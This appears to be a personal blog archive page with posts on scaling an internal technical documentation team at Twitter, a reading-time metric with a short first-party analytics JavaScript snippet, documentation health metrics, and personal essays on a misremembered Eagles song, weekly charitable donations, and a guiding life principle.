I hope this description of how to grow a team proves valuable to you. If you do go down this path, there are a few points where you may want more clarity. Read on for a discussion between myself and my esteemed coworker Greg Poulos (@gregpoo). If you haven't already, you may want to check out Part 1: A Scalable Strategy for TechDocs.

Scaling a TechDocs Team from 1 to 100 (Part 1)

2018-01-08T00:00:00+00:00

In companies that have large engineering teams, a dedicated technical documentation organization is a necessary function. Our industry's understanding of the role of documentation, both as engineers and technical writers, has shifted its focus over the last decade.

- Troy Howard, Contemporary TechDocs

Yeah, I just quoted myself. That's the least of my worries. My bigger concern is the incredible pile of work awaiting me every time I open my laptop. I long for the day when I finally get approval from upper management for the headcount to hire another documentarian. We could do so much more with just one or two more people.

My boss sometimes asks* me, "I'm not sure if we can get headcount, but it would help if you could tell me exactly what you'd do with more people."

** note to my pedantic readers, I realize that was a statement, not a question, but this is Manager Speak™, not normal English.*

I suspect that many of my peers in the tech-comm world are in a similar situation. This series of articles intends to answer that once and for all. First, I'll describe the strategy that enables this kind of scaling, and then give some suggestions on how to grow a TechDocs team from your first documentarian to your hundredth. Finally, I'll discuss some deeper aspects of our experience trying to implement this at Twitter.

A Scalable Strategy for TechDocs

At the time of this writing, Twitter has ~1500 technical employees, but only two (2) full time tech writers. That is a ratio of 750:1. If we are going to have an impact, we're going to need a scalable strategy.

Breaking that down a bit, our team of two is only responsible for internal technical documentation (yeah, the public API docs you all know and love so well are handled by an entirely different crew). Our ~1500 engineers crank out code at a blinding rate. We have roughly 6000 software projects, all of which need to be documented. Currently only ~600 of them are. So how are the two of us going to get the other 5400 projects documented? How are we going to maintain the existing 600 documentation sites? Is it even possible to keep up with this?

The answer is a resounding YES WE CAN (kind of).

The key is to leverage those 1500 engineers to write their own docs. But this isn't an article about how we work at Twitter, or how to fight a losing battle and look fabulous while doing it. Rather, this is an article about how to operate an effective TechDocs organization whether you're 1 person or 100 people, and regardless of how many engineers you are supporting.

Our scalable strategy is composed of three tiers: #WriteTheDocs, Mentorship, Platform and Policy.

#WriteTheDocs - TechDocs creates and maintains high-impact content. They also design and maintain large scale Information Architectures (IA).
- Capacity/Scale (per person): 1-2 projects per quarter
Mentorship - TechDocs cultivates a product-oriented engineering culture that values documentation as one of the many deliverables required for a complete product. TechDocs operates as a service agency, providing 1:1 mentorship, editorial services, and prescriptive guidance to engineering teams.
- Capacity/Scale (per person): 4-6 team engagements per quarter
Platform and Policy - TechDocs provides policy, guidance, and automation tools for all engineers. The tools provided are first-class tools which engineers interact with directly to create and consume docs. These self-serve tools and materials create a platform to improve Information Experience (IX) and raise baseline content quality by enabling engineers to produce better docs on their own.
- Capacity/Scale (per person): 1-2 major tool features or policy/guidance documents per quarter

Here's a fancy diagram to describe it (see below for the more-than-1000 words to explain):

        -       /\
        |      /__\      #WriteTheDocs (6 projects a year, ~1% of customers)
Quality |     /    \     
        |    /______\    Mentorship (22 projects a year, ~5% of customers)
        |   /        \  
        _  /__________\  Policy and Platform (self-serve, 100% of customers)
          
          |- Quantity -|

#WriteTheDocs

TechDocs creates and maintains high-impact content. They also design and maintain large scale Information Architectures (IA).

Mission-critical technologies require the highest possible quality of writing. Since these systems directly affect the daily life of every engineer, your TechDocs team should treat them as a top priority. In such cases, it makes sense to put your best writers on the project and ask them to just #WriteTheDocs.

This process looks like a typical industry tech-writing process. TechDocs first interviews potential documentation consumers as well as subject matter experts (SMEs), then writes and maintains the content themselves.

This tier emphasizes quality over quantity because the high quality docs will have a large overall impact.

A single documentarian should be able to complete 1-2 major writing projects per quarter, or up to 6 projects per year.

Mentorship

TechDocs cultivates a product-oriented engineering culture that values documentation as one of the deliverables required for a complete product. At this tier TechDocs operates as a service agency, providing 1:1 mentorship, editorial services, and prescriptive guidance about docs to engineering teams.

Look, we know what makes engineering teams successful: a product culture. What do we mean by that? We mean that they are focused on creating a complete product that will deliver customer value, rather than just cranking out code, committing to git, declaring themselves "Done!", as they walk off victorious into the sunset.

When teams think about their work as a product for a customer, they realize that there's more to a product than just code. Teams that have a product culture recognize the importance of things like unit tests, excellent UX, technical support, release cycles, and that vital linchpin that holds them all together: documentation.

The goal of TechDocs at this tier is to mentor engineer teams with the intent of cultivating a stronger product culture. Sometimes your TechDocs team will talk about culture directly, but often you'll just serve in an editorial or advisory role. When you have our mentorship hat on, you'll field inbound requests from teams for help. You don't write the docs for them, but you will help them to write them. This kind of direct engagement with a team still takes a lot of effort and time. When the ratio of documentarians to engineers is high, you won't be able to mentor every single engineer, or even every team.

Mentorship is reserved for projects that will impact a large number of engineers. TechDocs should look to support teams that create and maintain engineering platform tools like continuous integration (CI), storage, data science, etc. Teams that service other teams have a force-magnifying effect. The effort that is put into those teams will result in other teams becoming more effective, and others will look to them as role models for team culture.

This tier values quality and quantity equally, attempting to achieve a balance between both.

A single documentarian should be able to complete 4-6 team engagements per quarter, or up to 24 engagements per year.

Engaging with Engineering Teams

When you engage with a team, you will evaluate team culture, review their existing docs, establish measurable success criteria (so that you can talk ROI with real numbers), and then make a specific list of tasks to fix up the docs. Team engagements like this are limited to only two (2) weeks.

Assigning a Documentation DRI

One of the first steps in addressing team culture is to identify (or appoint) a Directly Responsible Individual (DRI) for documentation. The goal is to leave the team with an independent and sustainable process for creating and maintaining docs. The Docs DRI will be your point-person, acting as the primary documentation advocate on the team, and as a watchdog who makes sure that doc development continues to happen after the TechDocs mentor moves on to the next thing. After the docs review, give the team's Docs DRI a list of doc-improvement tasks.

Put A Number On It

The next step is to establish success metrics. I like to call this process "Put A Number On It". Working together with the Docs DRI, determine a set of success metrics that makes sense for their product and a figure out a process for measuring those metrics (e.g. performing stakeholder surveys or customer usage studies). Before work starts, measure the baseline for that metric. At the end of the engagement, measure the same thing again to quantify the improvements. When you need to prove the value of working on docs and are asked "What is the Return On Investment (ROI) for this?", you can use these numbers to show how much improvement came from your work, comparing that to how much effort was put in. This almost always works out for the best and creates a compelling story for future investments in documentation.

Wrapping It Up

After two (2) weeks it's time to wrap it up and walk away. During the next month or two, the engineering team takes ownership of the remaining tasks, but the TechDocs mentor will serve as a project manager, making sure the project keeps going and stays on course. You might file tickets in an issue tracker, or send out nagging emails, or stand outside their house wearing a banana-suit. Whatever it takes to get their attention.

Option: Embedding on a Team

Some high-impact teams may need a more intensive engagement. In those cases you might need to embed on the team for up to a month. When embedding, you act as a member of the team. Defer any other work that is not related to the team, go to all their planning meetings, sit with them in their area of the office, and generally attempt to operate in exactly the same manner as any other permanent member of the team. This is the the most effective and direct way to change a team's culture.

Note: This differs from work in the #WriteTheDocs tier, because while you may end up writing some docs, your goal is not to produce docs, but rather to impact the culture of the team. You may need to write docs to kick-start that culture, and to provide a good example, but that's not the main purpose of your presence there.

Doc Days: Company-Wide Mentorship Events

Another activity that falls under this tier are Doc Days, which are day-long documentation mentorship events that any engineer can attend. Read more about Doc Days here: How To Run a Doc Day (coming soon!)

Platform and Policy

TechDocs provides policy, guidance, and automation tools for all engineers. The tools provided are first-class tools which engineers interact with directly to create and consume docs. These self-serve tools and materials create a platform to improve Information Experience (IX) and raise baseline content quality by enabling engineers to produce better docs on their own.

Not every project or team needs hands-on attention from your TechDocs team. Sometimes they just need a little guidance and tooling -- metaphorical signposts and guard rails -- to help them do a better job of writing docs on their own. A TechDocs team can (and should) build a platform composed of policies, best practices, templates, and automation tools that engineers can use on their own without help from TechDocs.

This tier values quantity over quality, to have a wide impact and indirectly raise the quality floor.

A single documentarian should be able to complete 1-2 major improvements to the platform per quarter, or up to 6 platform improvements per year.

Policy

The first thing you should do when building a platform is establish clear policies. Policies enforce basic requirements, reduce ambiguity, and facilitate easy decision making. The kinds of policy we're talking about here are things like a company-wide Documentation Style Guide, direction on which tools to use, and standards about how documentation should be prioritized within engineering teams.

Guidance

The next thing to do is to provide some guidance. Guidance involves prescriptive docs about writing like "How to Write an Outline" (coming soon!), as well as descriptions of processes for maintaining and testing documentation and of preferred team culture. Another great form of guidance is a corpus of documentation templates that engineers can work from. The ultimate goal of these resources is to improve consistency and facilitate action, by removing the barriers to creating good quality documentation.

Tools

Last but not least are hands-on tools that engineers use to read and write docs. This can be as simple as setting up a wiki or knowledge base for the company, to custom-made documentation generation systems which automatically build and publish docs from a source code repository. Tools raise the quality floor, automate complicated workflows, facilitate information discovery, and help to maintain awareness of documentation health over time.

Tools can be used to automate/improve:

Publishing: Improve consistency, ease discovery, and align with culture
- Consistency: All the pages look the same, due to a common theme and unified project list
- Discovery: All project docs are in the same tool, with well-structured IA and search capabilities
- Culture: Use git on the command-line, ease collaboration, reinforce company identity, etc.
Linting (structural analysis): Improves consistency by detecting obvious defects like:
- Spelling and grammar errors
- Missing content
- Privileged or inappropriate content
- Non-optimal reading level, reading length, etc.
Search: discovery
Health and Awareness: Improves culture-of-docs via:
- Notifications: Reminders for doc owners to encourage on-going maintenance
- Reader Trust: Healthy, Verified, or Highly-rated docs are obviously marked
- Author Pride: Report on readership traffic, quality metrics, user sentiment, etc.
- Increased Awareness: A central location for docs encourages "sideways discovery" of other docs
Templates: Improves consistency and quality by providing a fill-in-the blank experience
Metrics: Easily generate reports about a single project, or all projects to understand the overall condition of the documentation. Good metrics make it a lot easier to plan and discuss work at the managerial level.

Next Step: Growing Your Team

Now that we've described our scalable strategy, the next part of this article will walk you through How to Grow a TechDocs Team, from your first documentarian to your hundredth.

Metrics Case Study: Total Time Reading (TTR)

2016-08-12T00:00:00+00:00

In a previous article I discussed the need for a data driven approach to TechDocs. This article will discuss one possible documentation metric: Total Time Reading (TTR).

Definition and Implementation of TTR

So what exactly is Total Time Reading (TTR)? TTR is the total amount of time that a reader spends actively engaging with a piece of content. This is usually expressed in seconds, and recorded along with a URL for the content in a metrics database.

One way to implement this is by using the JavaScript library TimeMe by Jason Zissman. This library will keep track of the time a user is focused on the page. If they switch tabs, minimize the window, or otherwise unfocus the content, it will stop tracking their time until they return. I've used this library and find that it works pretty solidly.

Here's some example code:

 1<script type="text/javascript">
 2  $(document).ready(function () {
 3    // track user activity time
 4    TimeMe.setIdleDurationInSeconds(30);
 5    TimeMe.setCurrentPageName("my-home-page");
 6    TimeMe.initialize();
 7
 8    // record page visit event when user leaves the page
 9    window.onbeforeunload = function (event) {
10      xmlhttp=new XMLHttpRequest();
11      xmlhttp.withCredentials = true;
12      xmlhttp.open("POST", "/event/visit", false);
13      xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
14      var event_data = {
15        total_time_reading: TimeMe.getTimeOnCurrentPageInSeconds(),
16        page: window.location.href
17      };
18      xmlhttp.send($.param(event_data));
19    };
20  });
21</script>

That code will start the timer once the page fully loads, and then, using the window.onbeforeunload, will trigger an AJAX post to record the TTR metric and the URL, when the user closes the page.

Adding that to every page footer as part of your docs default HTML template will get you started collecting TTR measurements.

Interpreting the Data

Now that we have TTR recorded, what do we do with it? First thing to realize about TTR is that it also functions as a basic page hit tracker. It is a more precise measurement than just "did a user visit the page or not", but it can also be used in that way.

The most basic things you can use it for would be detecting hot-spots and dead-wood. Which pages get the most hits? Which pages get no hits, or very few?

Further, we can now look at the combination of how much time and how often. Frequent visits to a page, with low amount of time on it tells you what? Something about that page is drawing users in, but they don't need to spend much time there. Is that because they didn't find what they were looking for and left after scanning it? Or is it because the page is reference style documentation, for something very commonly used, but is perhaps a bit confusing with details that are easily forgotten.

How about a page that does not get very many visits, but always has a long TTR? Well... how long is "long" anyway? How many seconds should a user spend on that page?

You could calculate the Estimated Reading Time (ERT) for the page, then compare that to the amount of time that a users are actually spending on it. If a page has a ERT of ten (10) minutes, but users are only spending about five (5) minutes on it.. Why is that? Does the reader get distracted part-way through the page because the content is poorly written? Or maybe it is the kind of article that has more than one separate section, which can be used independently, and the user scans, finds the section they need, which only takes five (5) minutes to read.

It is dangerous to infer too much about what TTR means. However, it is useful to look at outliers. If a given page has a 20 minute ERT and only sees about two (2) minutes of engagement on a regular basis, it is worth looking at that to understand why that might be. In fact, you might ask your users to tell you (send out a survey asking for feedback, or pop-up a feedback form right on the "outlier" page).

Another approach: You could calculate the ERT, compare it to the TTR, and record a percentage like: TTR / ERT * 100. Maybe you could apply a rule, for your content, that a ratio of TTR to ERT less than 30% or more than 150% is considered "unhealthy" and the page should be looked at? YMMV, so tweak those numbers to suit your content and users. Perhaps you can configure that per page?

NOTE: Calculate Estimated Reading Time (ERT) using the reading-time library from Nicolas Gryman.

Even without a ERT to compare to, a pattern of very short engagements (less than one (1) minute) and very long engagements (>20 minutes) probably indicate a problem, in general. Most technical documentation should be broken up to be 20 minutes or less for the ERT, and it is rare than you can get anything useful out of a page in under one (1) minute as a reader. Flag these "unhealthy" TTR events and focus some time on improving those pages.

Also, you will want to look at changes in the norm. If a page suddenly gets a lot more or a lot less engagement, you might want to alert on that and try to understand why the user behaviour suddenly changed.

Conclusion

TTR is an interesting metric, but interpreting it can be difficult. It is very sensitive to the content, especially to the reading length. If you're going to track visits, you should also be tracking TTR, because it is pretty easy to do. Even if the data is hard to understand, it is better to collect more precise/rich data if possible.

Contemporary TechDocs

2015-08-13T00:00:00+00:00

In companies that have large engineering teams, a dedicated technical documentation organization is a necessary function. Our industry's understanding of the role of documentation, both as engineers and technical writers, has shifted its focus over the last decade.

Most notably, the way that TechDocs teams do their work has changed. Traditional technical writing, evaluated by “words on a page” (accuracy, length) has been replaced by a data-driven approach to content oversight and training. We now employ scalable automated tooling to work smarter, measure the effectiveness of our work, and to prove that we've had the impact we set out to achieve.

Some of the new measures of TechDocs effectiveness are:

How many support requests are filed?
How often are docs pages visited and updated?
What is the code comment coverage?
What is the reader sentiment of the docs?
How long do readers spend on the page?

TechDocs: A Mission Statement

At Twitter, the TechDocs team has the following mission statement:

"The right knowledge at the right time. Great docs enable engineers to do a lot more in a lot less time. The TechDocs team exists to foster the culture of documentation."

Our goal through writing is deliver the right knowledge, at the right time, so that engineers can be more effective. We are also the champions of documentation in our company's engineering culture; ensuring that engineers care about docs, writing and maintaining their docs at a high level of quality.

Our role as owners and authors is also changing. For technical communicators, the need to author documents that require professional oversight still commands an important role in our work (especially outward-facing docs); however, the majority of our time is focused on empowering the subject matter experts (aka SMEs, software engineers in this case) to record their knowledge themselves. In this way, we can scale out the responsibilities of documentation authorship and maintenance to our engineers, and instead focus our effort on providing editorial assistance, expert level guidance and direction setting.

Four Factors for TechDocs Organizations

We can break down this approach into four functional areas of work:

#Discovery - Deliver the right knowledge at the right time
#Consistency - Documentation you can trust and consume easily
#Culture - Engineers highly value creating and maintaining their own documentation
#WriteTheDocs - Technical Communicators own and create high-impact content

#Discovery

The best documentation in the world is useless if it can't be found when it's needed. Many companies have documentation spread around in a number of separate silos. Even when it's all in one place, like a wiki, the content is usually poorly structured, making it hard to navigate and find content.

Tooling like Read The Docs can solve part of this problem by providing a single destination to consume, search and catalog content, but skilled technical communicators are required to build effective information architecture for end-user navigation.

#Consistency

As writers, we spend a lot of time thinking about things like voice, reading level and using unambiguous terminology to ensure that readers consume the information accurately and easily. This kind of consistency is important, but also larger-level concerns like document templates, titling guidelines, company glossaries, and tooling to support such standards, help both readers and authors to smooth the entire process.

For example, as a reader, when I go to a new doc titled "Tutorial" I should know what to expect from that. It should be similar in structure and intent to everything else called "Tutorial". If some docs are called "Runbooks" and some are "Tutorials", are they different? If so, the differences should be obvious and consistent within the documentation corpus. As a content author, when I'm making a new document, it should be clear whether I want to write a "Tutorial" or a "Runbook", and there should be separate templates for each that I can use, which provide the basic structure that defines that type of document.

Further, term usage should be consistent. When there are domain specific terms, or terms that are ambiguous in their general usage, but have an unambiguous domain-specific meaning, those terms should be well defined in a glossary. That glossary should be available to both readers and authors to ensure a common understanding of the intended meaning.

Every company should publish internal standards for their tech docs, and provide tools to help authors create that content using templates. Beyond that, TechDocs tooling should provide verification (linters, or other testing systems) to ensure that the published standards are adhered to. For that reason, it's best to choose standards which can be measured, or clearly indicate when something requires human oversight to verify.

#Culture

At Twitter, we have only four (4) full-time technical writers on our internal-facing TechDocs team, but we have a staff of nearly 2000 engineers working on roughly 4000 separate software projects. Since there is no way four writers could cover all that work, it's essential to leverage the massive resource of our engineering staff to write their own documentation.

To enable this, we have to ensure that authoring documentation is a delightful experience. We can create tools and other materials that are self-serve and fit into an engineer's normal daily workflow well. We need engineers to not only feel that writing docs is their responsibility, but also to feel motivated to keep the quality of their docs high, and regularly maintain them.

Our engineers should feel a sense of ownership of their documentation, and also the tools they use. For that reason, tying docs into your code review and issue tracker helps to keep docs on engineer's minds, and opening up your internal tooling for contributions from engineers motivates them to care about the tool.

#WriteTheDocs

Certain documentation is so critical to the success of the company that TechDocs must own the content, and ensure it is written at a high level of quality and regularly maintained.

Other docs require only guidance from the TechDocs team in terms of information architecture, outlining, and style. For those projects, the engineering team can author the content, working from an outline and list of tasks that TechDocs provides them on a regular basis.

TechDocs should operate like an internal agency, fielding requests and triaging them into three categories: "docs we own", "docs they own but we assist with", "docs they own and we don't assist with". Instead of a tech writer being embedded on a single project, they can work from a queue of open items from all projects, sharing the workload evenly.

Measuring TechDocs

Contemporary TechDocs teams need to be able to measure their impact to ensure they are doing the right things to improve documentation at their company. Without metrics, it's all guess work.

Now that we've established the mission of TechDocs and discussed the various factors of our work, some questions come up when we try to prove that we're succeeding in this mission:

How do you know that your documentation is healthy?
How do you know that your documentation is having a positive impact?
What areas are you impacting? Who is benefiting?
How to keep up with maintenance?
How do you know if things are NOT going well?

Does your current tooling answer these questions? No, it doesn't. That means building the tools to measure, then building the dashboards, monitoring, alerting, and reporting that uses those measurements. We need better tooling, and we should probably share the effort by building it in the open.

Things We Can Measure

While the value of metrics is obvious, what is not so obvious is what kind of things we can accurately measure about documentation and documentation culture.

Here are some ideas:

Doc Linter - Measure some basic features about a document to determine its quality, objectively (reading level/lexical density, reading time, doc contains contact email?, code snippets valid?, etc)
Total Doc Commits - Overall, how many commits to doc files? High level of activity? What projects/topics?
Drift - Measure the commit density distance between a piece of code and it's related docs. Commit density on code vs commit density on docs in past 30 days? (Note: density is # of adds/removes in total vs # of changesets) Did the code move forward, but the docs didn't? That's called 'drift' and it's bad news!
Traffic - How many people are reading the docs? Who are they? How long are they spending on the page?
Reader Sentiment - Five star rating on page, NPS survey, etc. Are readers happy with the docs?
Support Tickets - What questions are people asking about? What doc pages answer that? Top ten. Did a new doc on a topic reduce inbound support tickets on that topic?
Shoulder Taps - Parse Hipchat/Campfire/Slack logs, look for 1:1 communication between engineers. Convos that start with "quick question", or just start with a question and don't mention lunch. How many? Use NLP to categorize topics/nouns. What topics are generating shoulder taps? How to track real-life shoulder taps?
Docs Tickets - How many JIRA/GitHub Issues are filed related to documentation (either doc bugs, or doc improvement tasks for owners, etc). Increasing or decreasing over time? Shows improvement in docs culture?

Documentation Health

All those measurements are useful by themselves but that might be too many things for people to think about. After all, one of the big #culture problems around docs is that they are currently viewed as a "secondary concern" to the code. Any complexity around a "secondary concern" will cause folks to stop thinking about it.

To keep things simple, we can aggregate the metric signals into a single measure... your documentation "Health Score".

This is a number between 0 and 10, telling you how healthy your docs are. Each of the above signals can be implemented to provide a unit interval (a value between 0 and 1) which can be composited into a normed vector space, with a rank applied to each signal to influence the final score. You can tweak your algorithm to emphasize the signals your organization cares about.

This score could be displayed on the project homepage, so engineers who are project owners can see a clear indicator of how they are doing. You can provide those engineers with tools to iteratively improve this number. The score can be clickable, to see a detailed report of what is wrong. Your documentation build system can regularly email reports to project owners with stats about their project, to let them know how they are doing. When they are doing well, you can reward them with perks like shoutouts to their managers, or swag like stickers, shirts, or other material items.

Conclusion

Contemporary TechDocs, in businesses that produce software products, is no longer as simple as hiring tech writers. You can't just park more tech writers in chairs and tell them to crank away at writing docs, adding more warm bodies as the workload increases. Brute force doesn't work. It doesn't scale. As Martin Sustrik recently pointed out, we have to operate under new principles, which support a more scalable and modern approach.

A snow shovel works well to clear a driveway, but you'll need a more sophisticated approach to keep the roads safe and clear for an entire city.

NOTE: Significant portions of this blog post are taken nearly-verbatim, or lightly paraphrased from Twitter's TechDocs team documents which were a collaborative effort. Other pieces are directly ripped from conversations I've had with various Write The Docs community members. Specifically, co-authorship credits should go to my team at Twitter (Marko Gargenta, Nancy Groschwitz, Ricardo Cervera, Luc Perkins) as well as WTD community members Nik Blanchet and Garen Torikian.

Take It Easy

2014-09-09T00:00:00+00:00

I have a personal confession to make. For many years, I claimed that the famed [Eagles](http://en.wikipedia.org/wiki/Eagles_(band) song, "Take it Easy" was actually a song by Lynyrd Skynyrd. I was quite sure of it.

I had argued the point many times throughout my teenage and young adult years, pointing out the many similarities to other Lynyrd Skynyrd songs such as "Sweet Home Alabama" and "Freebird". Listen to the meter, the tonality of the drums. The way the bass accented the beat. Clearly these were all the product of the same mind (or group of minds). Who could mistake the sound of Van Zant's voice?

I was often able to convince people of this, or at least cast doubt into their minds, or exhaust the topic until they were no longer interested. I knew they'd go home, look it up in their personal music collection and realize I was correct. I didn't personally own a copy of the song, however. I'd only ever heard it on the radio.

Finally, later in life, during the age of portable pocket-sized internet connected computing devices, I once again started in on this argument with a friend (I think it was a drummer in one of my bands). He laughed, like many people did, at first. Then after he realized I was serious, he stopped me and said, "No. Dude, it's the Eagles. Really..." and proceeded to Google-prove me wrong. I was stymied, questioning my facts, recalling all those previous conversations, wondering if I could really have had it wrong all this time? We finished up band practice, but I was put off-kilter for the rest of the night after that, unease having settled into my heart. I drank a bit too much beer.

Later that evening, at home and in a post-band practice Olympia-induced drunken stupor (or was it Miller High Life? Can't be sure...), I researched the topic online. In fury, I dug and dug for some proof that Lynyrd Skynyrd had, in fact, written the song. Perhaps it was just recorded and popularized by the Eagles, or perhaps the opposite: written by the Eagles and performed/recorded by Lynyrd Skynyrd? Nope. Nada. No connection whatsoever.

Turns out, there was one interesting thing about the song. Perhaps it was the thing that stuck out to me. I really did notice the song was quite different from the rest of The Eagle's repertoire. Specifically, the vocals.

Well, there's a reason for that. The famous Eagles song was co-written, and sung by Jackson Browne, not Glenn Frey. So, sure, it doesn't make it a Lynyrd Skynyrd song, but it is a rather aberrant Eagles song.

It's one of the very few songs, that if I am ever forced to sing at karaoke, where I know all the words and can kind of sing it in tune.

Moral of the story: Sometimes you can be really, really wrong about something, but still feel absolutely sure you are right.

In fact that feeling of surety can linger for quite some time, and cause you to search for some rationale or other evidence to attempt to prove your original idea. Being wrong is hard, even when the facts are really clear. However, being wrong CAN lead to some unexpected-but-useful life skills... like obsessing so much over a song that you know all the words at karaoke.

#FridayDonation

2014-06-06T00:00:00+00:00

I used to spend a lot on booze. Now I spend a lot supporting grass-roots activism. You can too.

For #FridayDonation, give as much to your local cause as you do your local bar.

Alcohol and Activism

This story starts on a sad note; a falling from grace. In my teens and twenties, I did a lot of political activism. Much of it was local, with me spending my time and direct personal effort to do things like feed the homeless, organize protests, community-improvement projects in the ghetto, awareness efforts, etc.

At that time, I was living in St. Louis, and was making the least money I've ever made. I couldn't have afforded to donate to charities. I was barely keeping myself afloat financially. Instead I gave my time and effort. This work culminated with me moving to China for a long-term humanitarian mission there. That part was awesome!

However, in 2005 I had to leave China and return to the US due to a family emergency. I started working full-time in technology, rapidly advancing my career, focusing entirely on work. I stopped being an activist completely. I smoked a lot, drank a lot, ate and slept poorly, and gained a ton of weight. I went from 180lbs to 260lbs in a few years time. I was making the most money I'd ever made, but spending a lot of it on booze.

I'd go to the bar, and drop $50-100 in a night, almost every night. Sometimes I'd be over the line and wake up at home not knowing how I got there, vomiting and hungover, missing meetings at work, deadlines all slipping, a trail of embarrassments and disappointments strewn behind me.

Since then, I've stopped smoking, reduced my drinking a lot, focused on my health. It's working; I'm getting a lot healthier. I'm still heavier than I should be at 230lbs and get winded easily doing things that I used to do without any effort at all.

I still go out drinking sometimes, and when I do, it's really hard to stop myself from over-doing it and drinking too much. But I'm making a lot of progress, and hopefully will reach my lofty personal goals within a year or two.

Donations as Inactive Activism

Despite improving my personal health, one thing that has been bugging me is that I do very little activism. I haven't been able to get myself motivated to go out and be hands-on anymore. I strongly feel that direct volunteering and hands-on work is the best approach, but haven't been able to get back into actually doing it. Maybe I did too much when I was younger, and now I'm burnt out. I'm not sure.

However, I make more money now than I ever have. It's a strange realization that I now have more money than time, considering how poor my family was growing up. Also, I realize that since I've reduced my drinking a lot, I can reclaim that money and use it for something better: donating to activists working on causes that I support.

Not everyone can volunteer, but many people can donate.

So, every Friday, before going out to a bar or restaurant, I spend $50-100 on causes that I care about. Then I make sure I don't spend more than that when I'm out.

It's my allowance/party budget. I feel a lot better about my spending when I know I'm matching it with donations. It makes drinking and eating at restaurants a much more positive and guilt-free experience. That bit is by far, the least important part of what I'm doing, but it's a nice perk.

Starting today (June 6, 2014), and every Friday from now on, I'll tweet out about the things I funded that week with the #FridayDonation hashtag.

If you follow me on Twitter you can keep me accountable and encourage me to keep doing this with a favorite or a quick "nice job" reply. If you want to you can donate to the same things I do, or pick your own and tweet about it. I promise to deliver tons of virtual high-fives if you do!

Also, turns out I'm not the only one with this idea. When I decided on the #FridayDonation hashtag, I found that Jennifer Dellapina has been doing exactly the same thing since at least January of this year. Awesome! High-fives Jennifer! Hopefully we can build a chorus of voices donating to improve the world.

My Principle

2014-03-11T00:00:00+00:00

Bret Victor is one of my favourite thinkers. One of the few people who deserves the oft-chuckled-at title of "thought leader".

In his talk Inventing on Principle, Bret described how he, and many other influential figures, have been guided by a driving principle, unique to the individual, which when applied to a variety of situations, led them to improve and innovate upon the status quo. He advocated that one could find their personal principle, identify with it, and be guided by it.

I think I've found my principle.

No One Should Ever Feel Like They Can't Do Something

Looking back on my personal history, at the things I've done that have been the most significant both to myself and to others, I tried to find a commonality.

The main commonality between them is my personal sense of disgust and sadness when I see people tell themselves that they can't do something. I'm inspired by people who "defeat the odds" to succeed, despite what ostensibly are insurmountable obstacles. Stories of folks like Richie Parker, Sam Berns, or Caine Monroy can bring me to tears.

But I'm also inspired by less dramatic successes. Watching an artist or a craftsman use a tool that is perfectly suited to a job. Watching a figure skater glide over freshly smoothed ice. I love watching people be free of frustration, confidently able to create what they want to create.

Growing Up

You can be anything you want to be, if you just set your mind to it. - Someone From My Childhood

Growing up, somehow I got the idea lodged into my head that "You can be anything you want to be, if you just set your mind to it". I'm not sure who it was that put that idea in my head. Probably not my mother.... or my teachers... or anyone around me. They were all very closed to possibility, and spent a lot of time telling themselves and me to stop trying. Maybe it was the television.

No matter how it happened, I'm so lucky that it did. I grew up in a very poor, very depressed environment. I was surrounded by people from a severely oppressed minority, stigmatized by their skin color, beaten down by generations of institutionalized violence. But I was not one of them, I was a White Male™ and therefore, free of the inescapable nature of their oppression. We might have shared a common origin, but not common limitations.

Being a White Male™, I could learn and grow, find and take opportunity and rise above my humble origins. Once I got there, no-one would be the wiser, and I could claim ownership of my own success. Growing up, my peers and their elders had no such future to look forward to. They didn't feel, like I felt, that they could "be anything they wanted to be". Even if they made it, their skin color would always betray their origins; a beacon of "less important, less capable, less trustworthy" broadcast to anyone who so much as caught a glimpse of them.

A Sense of Possibility

Not having that sense of possibility is a huge loss to the human heart. We are fundamentally optimistic creatures. Perhaps we're even evolutionarily adapted to be somewhat irrationally optimisitic; presuming that the future will be what we want it to be, driven to be unreasonably confident, then ultimately succeeding, proving the world wrong.

Looking around me, as a child, I saw a loss of that sense of the possible in every dark-skinned person I met, and in most women of every race. It took me until I was 9 years old before I realized that I was different.

I began to see the weird mixture of envy and resentment in their eyes, because I still had hope. I was able to look forward to a future for myself, and believe that I could achieve something, anything, if I put my mind to it; but they couldn't.

History

You can have anything you want if you want it badly enough. You can be anything you want to be, do anything you set out to accomplish if you hold to that desire with singleness of purpose. **- Abraham Lincoln (maybe) **

This is not a new idea. Abraham Lincoln, widely credited for being the political force that freed the ancestors of my childhood neighbors from outright slavery, said this in the early-to-mid 1800s... Or maybe it was Robert Collier, who lived in St. Louis (where I lived as a child), during the late-1800-to-early-1900s, just after Lincoln's era, and personally witnessed such terrible events as the East St. Louis Race Riots of 1917.

I'm not sure which of these now-dead people deserves credit for this quote and my Google-fu can't quite give me a definitive answer. Doesn't matter to me. Either one (or both) of them saw the same problem that I see now, but in a more poignant form than it exists today.

There's still a long road to achieve that dream that you can be anything you want to be, but to be irrationally optimistic, we are closer today than we ever have been.

Logic, Souls and Healing

You may notice that I phrased my principle above as "No One Should Ever Feel Like They Can't Do Something" -- a double-negative. The original quote is "You can be anything you want to be"... Why did I express the same thing, using double negatives? Because, logic.

I am too realistic, too pragmatic, to buy into a feel-good mantra that anyone can do anything. I know that's not true. I wish it was true, but it's not. There are limits. Real limits, like missing limbs, poorly functioning human hardware, diseases, ailments, malformations, and many other things. But one thing that is almost always true is that inside, despite physical limitations, the human soul still works. Maybe not even the brain, but the soul; that immeasurable engine of feelings and emotions.

Most of us have a functioning soul despite any other limitations, but most of us have unhealthy souls. I'm not a religious person, or even very spiritual, but I do believe in this idea of a soul, and I believe that it's important to care about its health and those around you.

I can't, in good conscience watch my peers and neighbors suffer, while I reap the benefits of their suffering at the same time. **I want to see our society healed, and end this plague of the soul. **

Innocent Until Proven Guilty

My principle focuses on keeping the soul healthy. I want anyone, at anytime, to feel as if they can accomplish whatever it is that they want to accomplish. But, more specifically, I want them not to feel like they can't do something.

I don't think everyone needs to be warm and fuzzy and pushing their personal envelopes all the time. Inspiration is like a fire; it can't burn all the time. Maybe they never think about doing anything new. Maybe they never have an idea or any inspiration to be more than what they are. Ok... that's boring, but it's fine, if that's just who you are. But when that inspiration happens, I want people to be able to capture that flame, stoke it and let that fire grow as far as possible while it burns.

When someone feels that they can't do something, it prevents the flame of inspiration from ever igniting. Being told you "can't" douses it cold as it struggles to move from a spark to fire, never set alight.

Not everything succeeds. Not everything is reasonable or even has a chance. But inspiration should be encouraged and ideas should be explored, tried, and be considered possible until proven impossible.

Like the US legal principle that we are innocent until proven guilty, I hold that we can consider anything possible until proven impossible.

Let It Be Incomplete

